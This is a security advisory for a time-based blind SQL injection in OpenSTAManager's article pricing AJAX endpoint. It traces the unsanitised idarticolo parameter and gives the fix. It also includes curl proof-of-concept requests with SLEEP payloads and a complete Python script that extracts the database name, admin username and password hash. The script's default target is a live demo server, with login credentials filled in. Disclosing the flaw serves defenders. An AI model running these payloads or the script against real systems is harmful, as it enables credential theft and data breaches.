PT-2026-6865 · Packagist · Devcode-It/Openstamanager

Published

2026-02-06

·

Updated

2026-02-06

CVSS v4.0

8.7

High

VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

Critical Time-Based Blind SQL Injection vulnerability in the article pricing module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer data, and financial records through time-based Boolean inference attacks.
Status: ✅ Confirmed and tested on live instance (v2.9.8) end demo.osmbusiness.it (v2.9.7) Vulnerable Parameter: idarticolo (GET) Affected Endpoint: /ajax complete.php?op=getprezzi Affected Module: Articoli (Articles/Products)

Details

OpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the article pricing completion handler. The application fails to properly sanitize the idarticolo parameter before using it in SQL queries, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.
Vulnerability Chain:
  1. Entry Point: /ajax complete.php (Line 27)
php
$op = get('op');
$result = AJAX::complete($op);
The op parameter is retrieved but the vulnerability lies in other parameters.
  1. Distribution: /src/AJAX.php::complete() (Line 189)
php
$result = self::getCompleteResults($file, $resource);
  1. Execution: /src/AJAX.php::getCompleteResults() (Line 402)
php
require $file;
Module-specific complete.php files are included.
  1. Vulnerable Parameter: /modules/articoli/ajax/complete.php (Line 26)
php
$idarticolo = get('idarticolo');
The idarticolo parameter is retrieved from GET request.
  1. Vulnerable SQL Query: /modules/articoli/ajax/complete.php (Line 70) PRIMARY VULNERABILITY
php
FROM
  `dt righe ddt`
  INNER JOIN `dt ddt` ON `dt ddt`.`id` = `dt righe ddt`.`idddt`
  INNER JOIN `dt tipiddt` ON `dt tipiddt`.`id` = `dt ddt`.`idtipoddt`
WHERE
  `idarticolo`='.$idarticolo.' AND
  `dt tipiddt`.`dir`="entrata" AND
  `idanagrafica`='.prepare($idanagrafica).'
Impact: Direct concatenation of $idarticolo without prepare(), while $idanagrafica is properly sanitized.
Context - Full Query Structure (Lines 39-74):
The vulnerable query is part of a UNION query that fetches pricing history from invoices and delivery notes:
php
$documenti = $dbo->fetchArray('
  SELECT
    `iddocumento` AS id,
    "Fattura" AS tipo,
    "Fatture di vendita" AS modulo,
    (`subtotale`-`sconto`)/`qta` AS costo unitario,
    ...
  FROM
    `co righe documenti`
    INNER JOIN `co documenti` ON `co documenti`.`id` = `co righe documenti`.`iddocumento`
    INNER JOIN `co tipidocumento` ON `co tipidocumento`.`id` = `co documenti`.`idtipodocumento`
  WHERE
    `idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
  SELECT
    `idddt` AS id,
    "Ddt" AS tipo,
    ...
  FROM
    `dt righe ddt`
    INNER JOIN `dt ddt` ON `dt ddt`.`id` = `dt righe ddt`.`idddt`
    INNER JOIN `dt tipiddt` ON `dt tipiddt`.`id` = `dt ddt`.`idtipoddt`
  WHERE
    `idarticolo`='.$idarticolo.' AND  # ✗ VULNERABLE - NO prepare() (Line 70)
    `dt tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
  `id` DESC LIMIT 0,5');
Root Cause: Developer used prepare() correctly in the first SELECT (Line 54) but forgot to use it in the second SELECT of the UNION query (Line 70), creating an inconsistent security pattern.

PoC

Step 1: Login
bash
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' 
 -d 'username=admin&password=admin'
Step 2: Verify Vulnerability (Time-Based SLEEP)
bash
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt 
 "http://localhost:8081/ajax complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" 
 > /dev/null
# Result: real 0m10.32s (10.32 seconds)

# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt 
 "http://localhost:8081/ajax complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" 
 > /dev/null
# Result: real 0m3.36s (3.36 seconds)

# Test without SLEEP
time curl -s -b /tmp/cookies.txt 
 "http://localhost:8081/ajax complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" 
 > /dev/null
# Result: real 0m0.31s (0.31 seconds)
image
Step 3: Data Extraction - Database Name
bash
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt 
 "http://localhost:8081/ajax complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" 
 > /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)

# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt 
 "http://localhost:8081/ajax complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" 
 > /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)

# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt 
 "http://localhost:8081/ajax complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" 
 > /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')

# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt 
 "http://localhost:8081/ajax complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" 
 > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
Step 4: Extract Sensitive Data - Admin Credentials
bash
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt 
 "http://localhost:8081/ajax complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" 
 > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)

# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt 
 "http://localhost:8081/ajax complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" 
 > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)
Payload Explanation:
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true

SQL Query Result:
WHERE
  `idarticolo`=1
  AND SUBSTRING(DATABASE(),1,1)='o'
  AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
  AND `dt tipiddt`.`dir`="entrata"
  AND `idanagrafica`=1
Automated Extraction Script Example:
python
import requests
import time
import string
import sys

# Default Configuration
BASE URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP TIME = 3 # Increased to 3s for stability on remote demo instance

def login(session, base url, user, pwd):
  """Authenticates to the application and maintains session."""
  login url = f"{base url}/index.php?op=login"
  data = {"username": user, "password": pwd}
  
  print(f"[*] Attempting login to: {login url}...")
  try:
    response = session.post(login url, data=data, timeout=10)
    # Check if login was successful (usually indicated by presence of logout link or redirect)
    if "logout" in response.text.lower() or response.status code == 200:
      print("[+] Login successful!")
      return True
    else:
      print("[-] Login failed. Please check credentials.")
      return False
  except Exception as e:
    print(f"[!] Connection error: {e}")
    return False

def extract data(session, base url, sql query, label="Data"):
  """Extracts data character by character until the end of the string is reached."""
  print(f"
[*] Extracting: {label}...")
  result = ""
  position = 1
  target endpoint = f"{base url}/ajax complete.php"
  
  # Charset optimized for database names and bcrypt hashes ($, ., /)
  charset = string.ascii letters + string.digits + "$./" + string.punctuation

  while True:
    found char = False
    for char in charset:
      # Payload: If the condition is true, the server sleeps for SLEEP TIME
      # Using ORD() and SUBSTRING() to handle various character types safely
      payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql query}),{position},1))={ord(char)},SLEEP({SLEEP TIME}),0))a)"
      
      params = {
        "op": "getprezzi",
        "idanagrafica": "1",
        "idarticolo": payload
      }

      try:
        start time = time.time()
        session.get(target endpoint, params=params, timeout=SLEEP TIME + 10)
        elapsed = time.time() - start time

        if elapsed >= SLEEP TIME:
          result += char
          found char = True
          sys.stdout.write(f"r[+] {label} [{position}]: {result}")
          sys.stdout.flush()
          break
      except requests.exceptions.RequestException:
        # Handle network jitter/timeouts by retrying or continuing
        continue

    # If no character from charset triggered a sleep, we've reached the end of the data
    if not found char:
      print(f"
[!] End of string or no data found at position {position}.")
      break
      
    position += 1
    
  return result

def main():
  s = requests.Session()
  
  # Allow target URL to be passed as a command line argument
  target = sys.argv[1] if len(sys.argv) > 1 else BASE URL
  
  if login(s, target, USERNAME, PASSWORD):
    # 1. Database name extraction
    db = extract data(s, target, "SELECT DATABASE()", "Database Name")
    
    # 2. Admin username extraction
    user = extract data(s, target, "SELECT username FROM zz users WHERE id=1", "Admin Username (id=1)")
    
    # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
    pwd hash = extract data(s, target, "SELECT password FROM zz users WHERE id=1", "Password Hash")

    print(f"

{'='*35}")
    print(f"     FINAL REPORT")
    print(f"{'='*35}")
    print(f"Target URL: {target}")
    print(f"Database:  {db}")
    print(f"Username:  {user}")
    print(f"Hash:    {pwd hash}")
    print(f"{'='*35}")

if  name  == " main ":
  main()
image

Impact

Affected Users: All authenticated users with access to the article pricing functionality (typically users managing quotes, invoices, orders).
Recommended Fix:
File: /modules/articoli/ajax/complete.php
BEFORE (Vulnerable - Line 70):
php
WHERE
  `idarticolo`='.$idarticolo.' AND
  `dt tipiddt`.`dir`="entrata" AND
  `idanagrafica`='.prepare($idanagrafica).'
AFTER (Fixed):
php
WHERE
  `idarticolo`='.prepare($idarticolo).' AND
  `dt tipiddt`.`dir`="entrata" AND
  `idanagrafica`='.prepare($idanagrafica).'

Credits

Discovered by Łukasz Rybak

Fix

SQL injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-P864-FQGV-92Q4

Affected Products

Devcode-It/Openstamanager